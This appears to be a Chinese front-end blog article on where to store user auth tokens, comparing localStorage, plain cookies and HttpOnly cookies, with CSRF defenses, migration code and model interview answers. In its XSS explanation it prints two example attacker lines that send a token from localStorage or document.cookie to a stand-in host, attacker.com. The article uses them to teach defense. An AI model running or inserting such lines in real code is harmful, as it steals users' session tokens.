news 2026/5/3 1:25:30

面试官最爱挖的坑:用户 Token 到底该存哪?

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
面试官最爱挖的坑:用户 Token 到底该存哪?

面试官最爱挖的坑:用户 Token 到底该存哪?

面试官问:“用户 token 应该存在哪?”

很多人脱口而出:localStorage。

这个回答不能说错,但远称不上好答案。

一个好答案,至少要说清三件事:

  • 有哪些常见存储方式,它们的优缺点是什么
  • 为什么大部分团队会从 localStorage 迁移到 HttpOnly Cookie
  • 实际项目里怎么落地、怎么权衡「安全 vs 成本」

这篇文章就从这三点展开,顺便帮你把这道高频面试题吃透。

三种存储方式,一张图看懂差异

前端存 token,主流就三种:

存储方式XSS 能读到吗CSRF 会自动带吗推荐程度
localStorage不会不推荐存敏感数据
普通 Cookie不推荐
HttpOnly Cookie不能推荐

localStorage:用得最多,但也最容易出事

大部分项目一开始都是这样写的,把 token 往 localStorage 一扔就完事了:

// 登录成功后localStorage.setItem('token',response.accessToken);// 请求时取出来consttoken=localStorage.getItem('token');fetch('/api/user',{headers:{Authorization:`Bearer${token}`}});

用起来确实方便,但有个致命问题:XSS 攻击可以直接读取。

localStorage 对 JavaScript 完全开放。只要页面有一个 XSS 漏洞,攻击者就能一行代码偷走 token:

// 攻击者注入的脚本fetch('https://attacker.com/steal?token='+localStorage.getItem('token'))

你可能会想:“我的代码没有 XSS 漏洞。”

现实是:XSS 漏洞太容易出现了——一个 innerHTML 没处理好,一个第三方脚本被污染,一个 URL 参数直接渲染……项目一大、接口一多,总有疏漏的时候。

普通 Cookie:XSS 能读,CSRF 还会自动带

有人会往 Cookie 上靠拢:“那我存 Cookie 里,是不是就更安全了?”

如果只是「普通 Cookie」,实际上比 localStorage 还糟糕:

// 设置普通 Cookiedocument.cookie=`token=${response.accessToken}; path=/`;// 攻击者同样能读到consttoken=document.cookie.split('token=')[1];fetch('https://attacker.com/steal?token='+token);

XSS 能读,CSRF 还会自动带上——两头不讨好。

HttpOnly Cookie:让 XSS 偷不走 Token

真正值得推荐的,是 HttpOnly Cookie。

它的核心优势只有一句话:JavaScript 读不到。

// 后端设置(Node.js 示例)res.cookie('access_token',token,{httpOnly:true,// JS 访问不到secure:true,// 只在TPS 发送sameSite:'lax',// 防 CSRFmaxAge:3600000// 1 小时过期});

设置了 httpOnly: true,前端 document.cookie 压根看不到这个 Cookie。XSS 攻击偷不走。

// 前端发请求,浏览器自动带上 Cookiefetch('/api/user',{credentials:'include'});// 攻击者的 XSS 脚本document.cookie// 看不到 httpOnly 的 Cookie,偷不走

HttpOnly Cookie 的代价:需要正面面对 CSRF

HttpOnly Cookie 解决了「XSS 偷 token」的问题,但引入了另一个必须正视的问题:CSRF。

因为 Cookie 会自动发送,攻击者可以诱导用户访问恶意页面,悄悄发起伪造请求:

用户 -> 银行网站
用户 -> 恶意网站

  1. 登录,获得 HttpOnly Cookie
  2. 访问恶意网站
  3. 页面包含隐藏表单
  4. 浏览器自动发送请求(带 Cookie)
  5. Cookie 有效,执行转账

SameSite 属性

最简单的一步,就是在设置 Cookie 时加上 sameSite:

res.cookie('access_token',token,{httpOnly:true,secure:true,sameSite:'lax'// 关键配置});

sameSite 有三个值:

  • strict:跨站请求完全不带 Cookie。最安全,但从外链点进来需要重新登录
  • lax:GET 导航可以带,POST 不带。大部分场景够用,Chrome 默认值
  • none:都带,但必须配合 secure: true

lax 能防住绝大部分 CSRF 攻击。如果业务场景更敏感(比如金融),可以再加 CSRF Token。

CSRF Token(更严格)

如果希望更严谨,可以在 sameSite 基础上,再加一层 CSRF Token 验证:

// 后端生成 Token,放到页面或接口返回constcsrfToken=crypto.randomUUID();res.cookie('csrf_token',csrfToken);// 这个不用 httpOnly,前端需要读// 前端请求时带上fetch('/api/transfer',{method:'POST',headers:{'X-CSRF-Token':document.cookie.match(/csrf_token=([^;]+)/)?.[1]},credentials:'include'});// 后端验证if(req.cookies.csrf_token!==req.headers['x-csrf-token']){returnres.status(403).send('CSRF token mismatch');}

攻击者能让浏览器自动带上 Cookie,但没法读取 Cookie 内容来构造请求头。

核心对比:为什么宁愿多做 CSRF,也要堵死 XSS

这是全篇最重要的一点,也是推荐 HttpOnly Cookie 的根本原因。

XSS 的攻击面太广:

  • 用户输入渲染(评论、搜索、URL 参数)
  • 第三方脚本(广告、统计、CDN)
  • 富文本编辑器
  • Markdown 渲染
  • JSON 数据直接插入 HTML

代码量大了,总有地方会疏漏。一个 innerHTML 忘了转义,第三方库有漏洞,攻击者就能注入脚本。

CSRF 防护相对简单、手段统一:

  • sameSite: lax 一行配置搞定大部分场景
  • 需要更严格就加 CSRF Token
  • 攻击面有限,主要是表单提交和链接跳转

两害相权取其轻——先把 XSS 能偷 token 这条路堵死,再去专心做好 CSRF 防护。

真落地要改什么:从 localStorage 迁移到 HttpOnly Cookie

后端改动

登录接口,从「返回 JSON 里的 token」改成「Set-Cookie」:

// 改造前app.post('/api/login',(req,res)=>{consttoken=generateToken(user);res.json({accessToken:token});});// 改造后app.post('/api/login',(req,res)=>{consttoken=generateToken(user);res.cookie('access_token',token,{httpOnly:true,secure:true,sameSite:'lax',maxAge:3600000});res.json({success:true});});

前端改动

前端请求时不再手动带 token,而是改成 credentials: ‘include’:

// 改造前fetch('/api/user',{headers:{Authorization:`Bearer${localStorage.getItem('token')}`}});// 改造后fetch('/api/user',{credentials:'include'});

如果用 axios,可以全局配置:

axios.defaults.withCredentials=true;

登出处理

登出时,后端清除 Cookie:

app.post('/api/logout',(req,res)=>{res.clearCookie('access_token');res.json({success:true});});

如果暂时做不到 HttpOnly Cookie,可以怎么降风险

有些项目历史包袱比较重,或者后端暂时不愿意改。短期内只能继续用 localStorage 的话,至少要做好这些补救措施:

  • 严格防 XSS
    • 用 textContent 代替 innerHTML
    • 用户输入必须转义
    • 配置 CSP 头
    • 富文本用 DOMPurify 过滤
  • Token 过期时间要短
    • Access Token 15 - 30 分钟过期
    • 配合 Refresh Token 机制
  • 敏感操作二次验证
    • 转账、改密码等操作,要求输入密码或短信验证
  • 监控异常行为
    • 同一账号多地登录告警
    • Token 使用频率异常告警

面试怎么答

简洁版(30 秒)

推荐 HttpOnly Cookie。因为 XSS 比 CSRF 难防——代码里一个 innerHTML 没处理好就可能有 XSS,而 CSRF 只要加个 SameSite: Lax 就能防住大部分。用 HttpOnly Cookie,XSS 偷不走 token,只需要处理 CSRF 就行。

完整版(1 - 2 分钟)

Token 存储有三种常见方式:localStorage、普通 Cookie、HttpOnly Cookie。

localStorage 最大的问题是 XSS 能读取。JavaScript 对 localStorage 完全开放,攻击者注入一行脚本就能偷走 token。

普通 Cookie 更糟,XSS 能读,CSRF 还会自动发送。

推荐 HttpOnly Cookie,设置 httpOnly: true 后 JavaScript 读不到。虽然 Cookie 会自动发送导致 CSRF 风险,但 CSRF 比 XSS 容易防——加个 sameSite: lax 就能解决大部分场景。

所以权衡下来,HttpOnly Cookie 配合 SameSite 是更安全的方案。

当然,没有绝对安全的方案。即使用了 HttpOnly Cookie,XSS 攻击虽然偷不走 token,但还是可以利用当前会话发请求。最好的做法是纵深防御——HttpOnly Cookie + SameSite + CSP + 输入验证,多层防护叠加。

加分项(如果面试官追问)

  • 改造成本:需要前后端配合,登录接口改成 Set-Cookie 返回,前端请求加 credentials: include
  • 如果用 localStorage:Token 过期时间要短,敏感操作二次验证,严格防 XSS
  • 移动端场景:App 内置 WebView 用 HttpOnly Cookie 可能有兼容问题,需要具体评估

如果你觉得这篇文章有帮助,欢迎关注我的 GitHub,下面是我的一些开源项目:

Claude Code Skills(按需加载,意图自动识别,不浪费 token,介绍文章)

  • code-review-skill - 代码审查技能,覆盖 React 19、Vue 3、TypeScript、Rust 等约 9000 行规则(详细介绍)
  • 5-whys-skill - 5 Whys 根因分析,说"找根因"自动激活
  • first-principles-skill - 第一性原理思考,适合架构设计和技术选型

全栈项目(适合学习现代技术栈)

  • prompt-vault - Prompt 管理器,用的都是最新的技术栈,适合用来学习了解最新的前端全栈开发范式:Next.js 15 + React 19 + tRPC 11 + Supabase 全栈示例,clone 下来配个免费 Supabase 就能跑
  • chat_edit - 双模式 AI 应用(聊天+富文本编辑),Vue 3.5 + TypeScript + Vite 5 + Quill 2.0 + IndexedDB
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/5/2 2:09:22

一键 i18n 国际化神库!适配 Vue、React!

一键 i18n 国际化神库!适配 Vue、React! 作为一名前端开发,给项目做多语言早已是家常便饭。 可每次面对成百上千条文案,“一行行手动翻译 维护 N 个 JSON 文件”仍然是让人头秃的体力活。 今天就把我实测有效的 3 款零入侵、一…

作者头像 李华
网站建设 2026/5/2 22:15:41

LobeChat能否用于创建商业模式画布?创业项目策划助手

LobeChat:打造你的AI创业策划助手 在今天这个“人人都是产品经理”的时代,一个绝妙的创意可能诞生于咖啡馆的一次闲聊,也可能来自深夜灵光乍现的备忘录。但真正让想法落地的,不是灵感本身,而是如何快速、系统地把它转化…

作者头像 李华
网站建设 2026/5/1 0:30:34

QML/QtQuick3D如何将数据传递给GLSL着色器?

QML 传递给 GLSL Shader中Uniform变量的工作原理详解 QML/QtQuick3D如何将数据传递给GLSL着色器? 例如 // 在Shader代码中直接使用 pos.x (c0 c1 * pos.z c2 * pos.z * pos.z c3 * pos.z * pos.z * pos.z);中c0, c1, c2, c3 在着色器中没有声明但是又可以直接…

作者头像 李华
网站建设 2026/5/2 9:33:04

RocketMQ 监控与告警:Prometheus + Grafana 可视化监控搭建

在分布式消息中间件的生产实践中,“看得见”才能“控得住”。RocketMQ作为阿里开源的高性能消息队列,其运行状态直接影响业务链路的稳定性。本文将聚焦RocketMQ监控体系的核心搭建方案——基于Prometheus采集指标、Grafana可视化展示,带你从零…

作者头像 李华
网站建设 2026/5/2 0:41:40

RocketMQ Broker 故障恢复:主从切换、数据同步与集群自愈机制

在分布式消息中间件的架构中,RocketMQ 凭借高吞吐、低延迟的特性占据重要地位,而 Broker 作为消息存储与转发的核心节点,其可用性直接决定了整个消息系统的稳定性。一旦 Broker 出现故障,如何快速实现故障恢复、保障消息不丢失、业…

作者头像 李华
网站建设 2026/5/1 0:22:23

ip版SSL证书

解决获得一本被浏览器信任的IP版本的SSL证书,你必须满足以下条件:1、这是一个公网的IP地址(虽然有的机构可以用局域网IP地址颁发证书,但由于局域网IP存在不具有唯一性,所以有一定风险,而且可以容易被仿照&a…

作者头像 李华